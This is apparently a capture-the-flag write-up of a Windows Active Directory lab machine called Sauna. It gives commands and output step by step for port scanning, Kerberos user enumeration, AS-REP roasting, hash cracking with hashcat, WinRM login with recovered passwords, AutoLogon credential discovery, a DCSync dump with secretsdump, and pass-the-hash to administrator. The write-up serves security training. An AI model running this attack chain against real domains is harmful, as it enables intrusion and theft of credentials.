Output of nmap:

# Nmap 7.94 scan initiated Tue Sep  5 16:14:48 2023 as: nmap -sC -sV -p- -oN nmap.txt -T4 -O
Nmap scan report for
Host is up (0.023s latency).
Not shown: 65515 filtered tcp ports (no-response)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-05 21:16:24Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-05T21:17:18
|_  start_date: N/A
|_clock-skew: 7h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  5 16:17:56 2023 -- 1 IP address (1 host up) scanned in 188.46 seconds

If we check out the webpage at port 80, we can see some potential employees working here. Do they have an AD account? Let’s find out. Let’s write their first and last names in a file, and use username-anarchy to create a list of potential usernames:

$ username-anarchy -i names.txt > usernames.txt

We now run an nmap script that enumerates AD users with that username file we just created:

$ sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL', userdb=usernames.txt" sauna.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 16:40 CEST
Nmap scan report for sauna.htb (
Host is up (0.025s latency).

88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals

We find user fsmith, and we will try ASREProasting this user:

$ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip -usersfile usernames.txt -format hashcat -outputfile hashes.txt
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

While the tool does not tell us whether the ASREProasting succeeded, there is a hash in hashes.txt:

$ cat hashes.txt

Let’s look up the hash mode and throw it into hashcat:

$ hashcat -m 18200 --attack-mode 0 hashes.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt



The password is Thestrokes23. As this server runs WinRM, we can use evil-winrm to log in:

evil-winrm --ip --user "fsmith" --password "Thestrokes23"

Running winPEAS on this user reveals an autologon password for the user svc_loanmanager:

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

While the user svc_loanmanager does not exist, we do see that svc_loanmgr exists.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net user

User accounts for \\

Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

Let’s give it a shot:

evil-winrm --ip --user "svc_loanmgr" --password 'Moneymakestheworldgoround!'

Let’s run bloodhound and load in the results. When we click “Find Shortest Paths To Domain Admins” we get the following overview:

Let’s mark svc_loanmgr as owned, and we right-click on administrator → “Shortest Paths From Here To Owned”:

We see that the svc_loanmgr user is able to perform a DCSync attack:

Let’s right-click on the DCSync edge and click “Help”. Here, we find instructions to perform such a DCSync attack.

We can use secretsdump.py from Impacket to perform the attack:

$ secretsdump.py 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

We now have the NT hash of administrator. Let’s use evil-winrm to perform a pass-the-hash attack:

$ evil-winrm --ip --user "administrator" -H "823452073d75b9d1cf70ebdf86c7f98e"

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>